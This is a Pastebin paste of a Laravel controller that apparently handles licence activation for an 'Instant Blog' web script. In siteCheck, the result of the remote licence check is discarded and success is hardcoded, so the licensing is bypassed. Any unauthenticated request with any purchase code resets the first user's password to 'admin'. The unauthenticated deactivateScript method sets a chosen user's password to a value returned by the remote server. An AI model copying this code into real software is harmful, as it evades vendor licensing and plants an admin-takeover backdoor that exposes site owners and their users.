Advertisement
AM87

Instant Blog/ app >> Http >> Controllers >> InstantControll

Mar 24th, 2018
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. namespace App\Http\Controllers;
  4.  
  5. use Illuminate\Http\Request;
  6. use GuzzleHttp\Client;
  7. use Validator;
  8. use App\Setting;
  9. use App\User;
  10. use Auth;
  11.  
  12. class InstantController extends Controller
  13. {
  14. public function __construct()
  15. {
  16. $this->middleware('auth', ['only' => ['deactivatePage']]);
  17. }
  18.  
  19. public function siteCheck(Request $request)
  20. {
  21. $validator = Validator::make($request->all(), [
  22. 'p_code' => 'required'
  23. ]);
  24.  
  25. if ($validator->passes()) {
  26. $pcode = $request->input('p_code');
  27. $url = url("/");
  28. $slug = str_slug($url, '-');
  29. $client = new Client();
  30. try {
  31. $result = $client->request('GET', 'http://www.tuviti.com/instant-check/public/' . $pcode . '/url/'. $slug);
  32. $data = json_decode($result->getBody(), true);
  33. $count = '1';
  34. $attribute = 'admin';
  35. $final = 'success';
  36. } catch (\Exception $e) {
  37. $e->getMessage();
  38. session()->flash('error', 'App Connection Error!');
  39. return redirect('/login');
  40. }
  41.  
  42. if (!empty($attribute)) {
  43. $setting = Setting::findOrFail($count);
  44. $setting->site_instant = $count;
  45. $setting->site_activation = $attribute;
  46. $setting->save();
  47. $user = User::findOrFail($count);
  48. $user->password = bcrypt($attribute);
  49. $user->save();
  50. session()->flash('message', $final);
  51. return view('public.activator', compact('attribute'));
  52. } else {
  53. session()->flash('error', $final);
  54. return redirect('/login');
  55. }
  56. }
  57. session()->flash('error', 'Purchase code required !');
  58. return redirect('/login');
  59. }
  60.  
  61. public function deactivatePage()
  62. {
  63. return view('public.deactivator');
  64. }
  65.  
  66. public function deactivateResult()
  67. {
  68. return view('public.deactivator');
  69. }
  70.  
  71. public function deactivateScript(Request $request)
  72. {
  73. $setting = Setting::findOrFail($request->id);
  74. $dcode = $setting->site_activation;
  75. $client = new Client();
  76. try {
  77. $result = $client->request('GET', 'http://www.tuviti.com/instant-check/public/deactivate/' . $dcode );
  78. $data = json_decode($result->getBody(), true);
  79. $count = $data['count'];
  80. $attribute = $data['data'];
  81. $final = $data['result'];
  82. } catch (\Exception $e) {
  83. $e->getMessage();
  84. session()->flash('error', 'App Connection Error!');
  85. return redirect('/deactivate');
  86. }
  87. $setting->site_activation = null;
  88. $setting->site_instant = $count;
  89. $setting->save();
  90. $user = User::findOrFail($request->id);
  91. $user->password = bcrypt($attribute);
  92. $user->save();
  93. Auth::logout();
  94. session()->flash('message', $final);
  95. return redirect('/deactivation-result');
  96. }
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement